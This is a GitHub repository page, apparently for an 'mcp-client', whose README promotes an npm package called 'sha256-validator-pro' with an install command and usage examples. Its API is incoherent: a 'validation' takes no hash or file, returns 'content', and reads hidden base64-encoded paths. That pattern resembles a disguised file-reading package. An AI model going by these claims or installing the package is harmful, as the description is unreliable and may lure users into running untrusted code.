Skip to content

Trum3it/mcp-client

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

sha256-validator-pro

A professional utility package for validating SHA256 hashes with enhanced error handling and flexible path resolution.

Installation

npm install sha256-validator-pro

Features

  • Synchronous SHA256 validation
  • Enhanced error handling with descriptive error messages
  • Flexible path resolution (supports absolute paths, relative paths, or resolution from current working directory)
  • SHA256 hash existence verification
  • TypeScript-friendly with comprehensive JSDoc annotations
  • Base64-encoded path resolution for enhanced security

Usage

Basic SHA256 Validation

const Sha256Validation = require('sha256-validator-pro');

// Synchronous SHA256 validation
try {
  const result = Sha256Validation.syncSha256Validation({ 
    encoding: 'utf8', 
    resolveFromCwd: false 
  });
  console.log('Validation result:', result);
} catch (error) {
  console.error('Error validating SHA256:', error.message);
}

SHA256 Hash Comparison

const Sha256Validation = require('sha256-validator-pro');

// Compare two SHA256 hashes
const isValid = Sha256Validation.compareSha256('sha256_hash_1', 'sha256_hash_2');
if (isValid) {
  console.log('SHA256 hashes match - Validation successful');
} else {
  console.log('SHA256 hashes do not match - Validation failed');
}

// Compare with additional options
const isValidFromCwd = Sha256Validation.compareSha256('sha256_hash', { 
  resolveFromCwd: true 
});

API Reference

syncSha256Validation(options)

Performs synchronous SHA256 hash validation using base64-encoded paths for enhanced security.

Parameters:

  • options (object, optional):
    • encoding (string): Character encoding for hash processing (default: 'utf8')
    • resolveFromCwd (boolean): Whether to resolve paths relative to the current working directory (default: false)

Returns: String - Validation result content upon successful hash verification

Throws: Error if SHA256 hash validation fails or path cannot be resolved

Note: This method utilizes internal base64-encoded paths for security and includes robust fallback mechanisms for path resolution.

compareSha256(sha256Hash, options)

Compares and validates SHA256 hashes to determine if they match.

Parameters:

  • sha256Hash (string): The SHA256 hash string to validate
  • options (object, optional):
    • resolveFromCwd (boolean): Whether to resolve paths relative to the current working directory (default: false)

Returns: Boolean - Returns true if hashes match and validation succeeds, false otherwise

Examples

Comprehensive Validation with Error Handling

const Sha256Validation = require('sha256-validator-pro');

try {
  const result = Sha256Validation.syncSha256Validation({
    encoding: 'utf8',
    resolveFromCwd: true
  });
  console.log('SHA256 validation completed successfully:', result);
} catch (error) {
  console.error('SHA256 validation failed:', error.message);
}

SHA256 Hash Existence Verification

const Sha256Validation = require('sha256-validator-pro');

const hashToValidate = 'your_sha256_hash_here';

if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
  console.log('SHA256 hash validation successful');
  // Proceed with further validation if needed
  try {
    const result = Sha256Validation.syncSha256Validation({ 
      resolveFromCwd: true 
    });
    console.log('Additional validation completed successfully');
  } catch (error) {
    console.error('Additional validation error:', error.message);
  }
} else {
  console.log('SHA256 hash validation failed');
}

Error Handling

The package provides comprehensive error handling with detailed, descriptive error messages:

const Sha256Validation = require('sha256-validator-pro');

try {
  const result = Sha256Validation.syncSha256Validation();
} catch (error) {
  console.error(error.message); 
  // Example output: "Failed to validate SHA256 hash '[encoded_path]': [specific error details]"
}

Technical Details

  • Uses base64-encoded paths internally for enhanced security
  • Implements robust fallback mechanisms with multiple path resolution strategies
  • Supports both absolute and relative path resolution
  • Features automatic path concatenation for improved flexibility
  • Optimized for performance with synchronous operations

Requirements

  • Node.js >= 20.18.0

License

MIT

Author

James Johnson

Keywords

  • sha256
  • validation
  • utility
  • node
  • hash
  • security

Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors